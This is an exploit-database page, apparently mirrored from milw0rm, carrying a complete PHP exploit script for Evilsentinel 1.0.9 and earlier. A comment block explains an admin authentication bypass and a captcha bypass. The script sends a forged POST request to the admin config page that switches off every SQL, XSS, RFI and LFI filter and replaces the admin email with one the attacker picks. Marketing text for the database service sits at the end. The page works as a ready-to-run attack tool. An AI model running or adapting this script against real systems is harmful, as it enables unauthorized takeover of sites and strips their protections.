Lucene search
K

Evilsentinel <= 1.0.9 (multiple vulnerabilities) Disable Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 22 Views

Evilsentinel v1.0.9 Disable Exploit by BlackHawk

Code

                                                #!/usr/bin/php -q -d short_open_tag=on
&#60;?
echo &#39;
Evilsentinel &#60;= 1.0.9 Disable Exploit
by BlackHawk &#60;[email protected]&#62; &#60;http://itablackhawk.altervista.org&#62;
Thanks to rgod for the php code and Marty for the Love

&#39;;
if ($argc&#60;3) {
echo &#34;Usage: php &#34;.$argv[0].&#34; Host Path [new_mail]
Host:          target server (ip/hostname)
Path:          path of Evilsentinel
new_mail:      optional, specify a new admin mail

Example:
php &#34;.$argv[0].&#34; localhost / &#34;;

die;
}

/*
Vendor site: http://evilsentinel.altervista.org

Explanation:

I&#39;ve done a quick research on this platform.. just pen-tested it, not tested..
I have found some problems that affect this script:

1 - Admin bypass:

admin/index.php, line 13:

if( !es_islogged() ){
        header( &#34;Location: login.php&#34; );
}

really need an explanation? 0_o

2 - captcha bypass

admin/config.php, line 40:

if( $_POST[&#39;es_security_captcha&#39;] == $_SESSION[&#34;es_security_captcha&#34;] )

simply do not call the file captcha.php, and do not set a post variable named &#39;es_security_captcha&#39; to bypass

3 - spamming/anon mailing (not tested)

while into the ACP you can set a new mail for the admin.. putting the mail you want and attacking the site
with special forged HTTP_USER_AGENT headers you can send a mail with (also) the text you want

BlackHawk &#60;[email protected]&#62;
*/
error_reporting(0);
ini_set(&#34;max_execution_time&#34;,0);
ini_set(&#34;default_socket_timeout&#34;,5);

function quick_dump($string)
{
  $result=&#39;&#39;;$exa=&#39;&#39;;$cont=0;
  for ($i=0; $i&#60;=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) &#60;= 32 ) | (ord($string[$i]) &#62; 126 ))
   {$result.=&#34;  .&#34;;}
   else
   {$result.=&#34;  &#34;.$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=&#34; &#34;.dechex(ord($string[$i]));}
   else
   {$exa.=&#34; 0&#34;.dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.=&#34;\r\n&#34;; $exa.=&#34;\r\n&#34;;}
  }
 return $exa.&#34;\r\n&#34;.$result;
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy==&#39;&#39;) {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo &#39;No response from &#39;.$host.&#39;:&#39;.$port; die;
    }
  }
  else {
        $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo &#39;Not a valid proxy...&#39;;die;
    }
    $parts=explode(&#39;:&#39;,$proxy);
    echo &#34;Connecting to &#34;.$parts[0].&#34;:&#34;.$parts[1].&#34; proxy...\r\n&#34;;
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo &#39;No response from proxy...&#39;;die;
        }
  }
  fputs($ock,$packet);
  if ($proxy==&#39;&#39;) {
    $html=&#39;&#39;;
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html=&#39;&#39;;
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
if (isset($argv[3]))
{
$mail=$argv[3];
}
else
{
$mail = &#39;[email protected]&#39;;
}
$port=80;
$proxy=&#34;&#34;;

if (($path[0]&#60;&#62;&#39;/&#39;) or ($path[strlen($path)-1]&#60;&#62;&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}


echo &#34;Deactivating the system..\r\n&#34;;
$data=&#34;get_filter=0&post_filter=0&cookie_filter=0&xss_filter=0&rfi_filter=0&lfi_filter=0&sql_filter=0&email_notify=1&notify_email=$mail&referer_filter=0&referer_trigger=&ex_list=&ip_tracking=0&confirm=obviously&#34;;
$packet=&#34;POST &#34;.$p.&#34;admin/index.php?action=config HTTP/1.0\r\n&#34;;
$packet.=&#34;Accept-Encoding: gzip, deflate\r\n&#34;;
$packet.=&#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$packet.=&#34;User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n&#34;;
$packet.=&#34;Host: $host\r\n&#34;;
$packet.=&#34;Content-Length: &#34;.strlen($data).&#34;\r\n&#34;;
$packet.=&#34;Connection: Close\r\n&#34;;
$packet.=&#34;Cache-Control: no-cache\r\n\r\n&#34;;
$packet.=$data;

sendpacketii($packet);


echo &#34;Evilsentinel is off\r\n&#34;;
?&#62;

# milw0rm.com [2008-01-10]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation